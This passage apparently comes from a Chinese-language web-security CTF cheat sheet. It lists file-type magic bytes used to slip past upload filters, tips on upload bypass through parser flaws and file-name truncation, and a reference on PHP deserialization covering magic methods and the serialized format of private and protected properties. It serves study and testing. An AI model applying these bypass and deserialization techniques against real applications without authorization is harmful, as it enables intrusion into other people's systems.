• jpg
  • FF D8 FF E0 00 10 4A 46 49 46
• gif
  • 47 49 36 38 39 61
• png
  • 89 50 4E 47

其他

• 常見場景：配合文件解析漏洞
• 超長檔名截斷

反序列化

PHP - Serialize() / Unserialize()

• __construct()
  • Object被new時調用，但unserialize()不調用
• __destruct()
  • Object被銷毀時調用
• __wakeup()
  • unserialize時自動調用
• __sleep()
  • 被serialize時調用
• __toString()
  • 物件被當成字串時調用

• Value
  • String
    • s:size:value;
  • Integer
    • i:value;
  • Boolean
    • b:value; (‘1’ or ‘0’)
  • NULL
    • N;
  • Array
    • a:size:{key definition; value definition; (repeat per element)}
  • Object
    • O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}
  • 其他
    • C - custom object
    • R - pointer reference
• Public / Private / Protected 序列化
  • 例如：class名字為: Kaibro，變數名字: test
  • 若為Public，序列化後：
    • ...{s:4:"test";...}
  • 若為Private，序列化後：
    • ...{s:12:"%00Kaibro%00test"}
  • 若為Protected，序列化後：
    • ...{s:7:"%00*%00test";...}
  • Private和Protected會多兩個NULL byte